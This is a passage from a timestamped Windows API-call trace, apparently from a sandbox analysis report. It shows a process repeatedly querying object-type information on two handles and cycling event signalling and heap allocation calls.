ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.531] ResetEvent (hEvent=0xe8) returned 1 [0057.531] SetEvent (hEvent=0xec) returned 1 [0057.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.531] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.531] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.531] ResetEvent (hEvent=0xe8) returned 1 [0057.531] SetEvent (hEvent=0xec) returned 1 [0057.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.531] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.531] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.531] ResetEvent (hEvent=0xe8) returned 1 [0057.531] SetEvent (hEvent=0xec) returned 1 [0057.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.532] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.532] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.532] ResetEvent (hEvent=0xe8) returned 1 [0057.532] SetEvent (hEvent=0xec) returned 1 [0057.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.532] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.532] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.532] ResetEvent (hEvent=0xe8) returned 1 [0057.532] SetEvent (hEvent=0xec) returned 1 [0057.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.532] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.532] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.532] ResetEvent (hEvent=0xe8) returned 1 [0057.532] SetEvent (hEvent=0xec) returned 1 [0057.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.533] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.533] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.533] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.533] ResetEvent (hEvent=0xe8) returned 1 [0057.533] SetEvent (hEvent=0xec) returned 1 [0057.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.533] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.533] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.533] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.533] ResetEvent (hEvent=0xe8) returned 1 [0057.533] SetEvent (hEvent=0xec) returned 1 [0057.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.533] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.533] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.533] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.533] ResetEvent (hEvent=0xe8) returned 1 [0057.533] SetEvent (hEvent=0xec) returned 1 [0057.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.534] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.534] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.534] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.534] ResetEvent (hEvent=0xe8) returned 1 [0057.534] SetEvent (hEvent=0xec) returned 1 [0057.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.534] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.534] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.534] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.534] ResetEvent (hEvent=0xe8) returned 1 [0057.534] SetEvent (hEvent=0xec) returned 1 [0057.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.534] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.534] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.534] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.534] ResetEvent (hEvent=0xe8) returned 1 [0057.535] SetEvent (hEvent=0xec) returned 1 [0057.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.535] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.535] ResetEvent (hEvent=0xe8) returned 1 [0057.535] SetEvent (hEvent=0xec) returned 1 [0057.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.535] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.535] ResetEvent (hEvent=0xe8) returned 1 [0057.535] SetEvent (hEvent=0xec) returned 1 [0057.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.535] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.536] ResetEvent (hEvent=0xe8) returned 1 [0057.536] SetEvent (hEvent=0xec) returned 1 [0057.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.536] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.536] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.536] ResetEvent (hEvent=0xe8) returned 1 [0057.536] SetEvent (hEvent=0xec) returned 1 [0057.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.536] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.536] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.536] ResetEvent (hEvent=0xe8) returned 1 [0057.536] SetEvent (hEvent=0xec) returned 1 [0057.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.536] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.537] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.537] ResetEvent (hEvent=0xe8) returned 1 [0057.537] SetEvent (hEvent=0xec) returned 1 [0057.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.537] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.537] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.537] ResetEvent (hEvent=0xe8) returned 1 [0057.537] SetEvent (hEvent=0xec) returned 1 [0057.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.537] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.537] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.537] ResetEvent (hEvent=0xe8) returned 1 [0057.537] SetEvent (hEvent=0xec) returned 1 [0057.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.537] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.538] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.538] ResetEvent (hEvent=0xe8) returned 1 [0057.538] SetEvent (hEvent=0xec) returned 1 [0057.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.538] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.538] ResetEvent (hEvent=0xe8) returned 1 [0057.538] SetEvent (hEvent=0xec) returned 1 [0057.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.538] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.538] ResetEvent (hEvent=0xe8) returned 1 [0057.538] SetEvent (hEvent=0xec) returned 1 [0057.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.538] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.539] ResetEvent (hEvent=0xe8) returned 1 [0057.539] SetEvent (hEvent=0xec) returned 1 [0057.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.539] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.539] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.539] ResetEvent (hEvent=0xe8) returned 1 [0057.539] SetEvent (hEvent=0xec) returned 1 [0057.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.539] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.539] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.539] ResetEvent (hEvent=0xe8) returned 1 [0057.539] SetEvent (hEvent=0xec) returned 1 [0057.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.539] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.539] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.539] ResetEvent (hEvent=0xe8) returned 1 [0057.540] SetEvent (hEvent=0xec) returned 1 [0057.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.540] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.540] ResetEvent (hEvent=0xe8) returned 1 [0057.540] SetEvent (hEvent=0xec) returned 1 [0057.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.540] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.540] ResetEvent (hEvent=0xe8) returned 1 [0057.540] SetEvent (hEvent=0xec) returned 1 [0057.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.540] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.540] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.540] ResetEvent (hEvent=0xe8) returned 1 [0057.541] SetEvent (hEvent=0xec) returned 1 [0057.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.541] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.541] ResetEvent (hEvent=0xe8) returned 1 [0057.541] SetEvent (hEvent=0xec) returned 1 [0057.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.541] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.541] ResetEvent (hEvent=0xe8) returned 1 [0057.541] SetEvent (hEvent=0xec) returned 1 [0057.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.541] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.542] ResetEvent (hEvent=0xe8) returned 1 [0057.542] SetEvent (hEvent=0xec) returned 1 [0057.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.542] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.542] ResetEvent (hEvent=0xe8) returned 1 [0057.542] SetEvent (hEvent=0xec) returned 1 [0057.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.542] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.542] ResetEvent (hEvent=0xe8) returned 1 [0057.542] SetEvent (hEvent=0xec) returned 1 [0057.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.542] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.542] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.542] ResetEvent (hEvent=0xe8) returned 1 [0057.543] SetEvent (hEvent=0xec) returned 1 [0057.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.543] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.543] ResetEvent (hEvent=0xe8) returned 1 [0057.543] SetEvent (hEvent=0xec) returned 1 [0057.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.543] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.543] ResetEvent (hEvent=0xe8) returned 1 [0057.543] SetEvent (hEvent=0xec) returned 1 [0057.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.543] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.543] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.543] ResetEvent (hEvent=0xe8) returned 1 [0057.544] SetEvent (hEvent=0xec) returned 1 [0057.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.544] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.544] ResetEvent (hEvent=0xe8) returned 1 [0057.544] SetEvent (hEvent=0xec) returned 1 [0057.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.544] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.544] ResetEvent (hEvent=0xe8) returned 1 [0057.544] SetEvent (hEvent=0xec) returned 1 [0057.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.544] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.544] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.545] ResetEvent (hEvent=0xe8) returned 1 [0057.545] SetEvent (hEvent=0xec) returned 1 [0057.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.545] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, 